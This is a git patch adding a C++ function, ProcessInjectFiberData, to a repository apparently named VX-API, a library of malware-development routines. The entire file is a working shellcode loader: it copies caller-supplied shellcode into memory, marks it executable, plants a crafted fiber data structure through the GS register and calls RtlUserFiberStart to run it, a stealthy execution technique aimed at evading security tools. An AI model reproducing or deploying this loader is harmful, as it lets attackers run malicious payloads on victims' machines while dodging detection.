From 03c2f7b43a2430967e8a37052402a75f726ea6d7 Mon Sep 17 00:00:00 2001
From: RistBS <75935486+RistBS@users.noreply.github.com>
Date: Wed, 23 Nov 2022 19:21:23 +0100
Subject: [PATCH] Create ProcessInjectFiberData Function

---
 VX-API/ProcessInjectFiberData.cpp | 46 +++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)
 create mode 100644 VX-API/ProcessInjectFiberData.cpp

diff --git a/VX-API/ProcessInjectFiberData.cpp b/VX-API/ProcessInjectFiberData.cpp
new file mode 100644
index 0000000..aae5a59
--- /dev/null
+++ b/VX-API/ProcessInjectFiberData.cpp
@@ -0,0 +1,46 @@
+#include "Win32Helper.h"
+
+typedef int(WINAPI* RtlUserFiberStart)();
+
+DWORD ProcessInjectFiberData(PCHAR Shellcode, DWORD Length)
+{
+    NTSTATUS status;
+    DWORD OldProt = 0;
+
+    PTEB pTeb          = GetTeb();
+    PVOID pTebFlags    = (PVOID)((UINT_PTR)pTeb + 0x17ee);
+    *(PCHAR)pTebFlags  = *(PCHAR)pTebFlags | 0x4;
+
+
+    HMODULE hModule = GetModuleHandleA("ntdll.dll");
+    RtlUserFiberStart pRtlUserFiberStart = (RtlUserFiberStart)GetProcAddress(hModule, "RtlUserFiberStart");
+
+    LPVOID BufferAddress = VirtualAlloc(NULL,
+                                        Length, 
+                                        MEM_COMMIT | MEM_RESERVE, 
+                                        PAGE_READWRITE);
+
+    RtlCopyMemory(BufferAddress, Shellcode, Length);
+
+    status = VirtualProtect(BufferAddress,
+                            Length, 
+                            PAGE_EXECUTE_READ, 
+                            &OldProt);
+
+    if (status != 0) 
+    {
+        UINT_PTR pFiberData = (UINT_PTR)HeapAlloc(GetProcessHeap(),
+                                                  HEAP_ZERO_MEMORY,
+                                                  0x100);
+
+        *(LPVOID*)(pFiberData + 0x0a8) = BufferAddress;
+
+        __writegsqword(0x20, pFiberData);
+        pRtlUserFiberStart();
+
+        HeapFree(GetProcessHeap(), 0, (LPVOID)pFiberData);
+    }
+
+    VirtualFree(BufferAddress, Length, MEM_RELEASE);
+    return 0;
+}